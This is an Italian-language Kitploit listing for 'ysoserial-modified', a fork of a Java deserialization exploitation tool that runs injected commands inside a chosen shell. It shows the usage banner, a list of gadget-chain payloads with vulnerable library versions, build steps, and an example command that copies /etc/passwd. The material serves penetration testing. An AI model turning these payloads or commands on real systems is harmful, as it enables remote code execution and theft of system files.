Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ysoserial-modified — Questa repository contiene i miei aggiornamenti al noto strumento di sfruttamento della deserializzazione Java ysoserial. | Kitploit
Strumenti/GitHubGitHub/pimps/ysoserial-modified
Frameworks per Penetration TestingFramework di ExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubpimps/ysoserial-modified

ysoserial-modified

Questa repository contiene i miei aggiornamenti al noto strumento di sfruttamento della deserializzazione Java ysoserial.

Vedi Repository
1894054 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

ysoserial-modified

Questa è una fork dell'applicazione ysoserial originale che puoi trovare qui: https://github.com/frohoff/ysoserial

Descrizione della Modifica

A causa di come Runtime.getRuntime().exec(String.class) funziona in Java, i comandi complessi e annidati in cui devi controllare le pipe o inviare l'output a file (es: cat /etc/passwd > /tmp/passwd_copy) non funzioneranno, perché il comando eseguito dal metodo exec() della classe Runtime non viene eseguito all'interno di un ambiente di terminale. Un possibile hack è eseguire "/bin/sh -c 'command'" ma dovrai fare l'escape del carattere spazio nel 'command' usando ${IFS} o non funzionerà come previsto. Per maggiori dettagli su questo problema e sulle possibili soluzioni, leggi questo post che approfondisce i dettagli.

Una buona soluzione per risolvere questo problema è passare gli argomenti al metodo Runtime.getRuntime().exec(String[].class) che si aspetta un array di stringhe. L'opzione migliore è eseguire quanto segue: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). Passando gli argomenti in questo modo, Java capirà che stai eseguendo /bin/bash passando gli argomenti -c e 'command' nel modo corretto ed eseguirà il tuo comando all'interno di un ambiente di terminale, il che ti permetterà di usare comandi complessi o annidati (con | o ;) e anche di controllare input e output (con < e >).

Sapendo questo, ho aggiunto una funzionalità a ysoserial in cui indichi il tipo di terminale che vuoi usare per eseguire il tuo comando (cmd / bash / powershell o none) e la mia modifica eseguirà il tuo comando all'interno di quel contesto di terminale, permettendoti di eseguire qualsiasi comando complesso come dovrebbe funzionare!

Utilizzo

root@kitploit:~
pimps@Scorpion:~/git/ysoserial-modified/target$ java -jar ysoserial-modified.jar 
Y SO SERIAL?
Usage: java -jar ysoserial-[version]-all.jar [payload type] [terminal type: cmd / bash / powershell / none] '[command to execute]'
   ex: java -jar ysoserial-[version]-all.jar CommonsCollections5 bash 'touch /tmp/ysoserial'
	Available payload types:
		BeanShell1 [org.beanshell:bsh:2.0b5]
		C3P0 [com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11]
		CommonsBeanutils1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
		CommonsCollections1 [commons-collections:commons-collections:3.1]
		CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections3 [commons-collections:commons-collections:3.1]
		CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
		CommonsCollections5 [commons-collections:commons-collections:3.1]
		CommonsCollections6 [commons-collections:commons-collections:3.1]
		FileUpload1 [commons-fileupload:commons-fileupload:1.3.1, commons-io:commons-io:2.4]
		Groovy1 [org.codehaus.groovy:groovy:2.3.9]
		Hibernate1 []
...

Download / Installazione

Scarica il jar compilato dalla directory /target di questo repository o semplicemente clicca qui

Per compilarlo da solo:

Richiede Java 1.7+ e Maven 3.x+

root@kitploit:~
$ git clone https://github.com/pimps/ysoserial-modified.git
$ cd ysoserial-modified
$ mvn clean package -DskipTests

Il file jar si troverà nella directory target.

Scarica lo strumento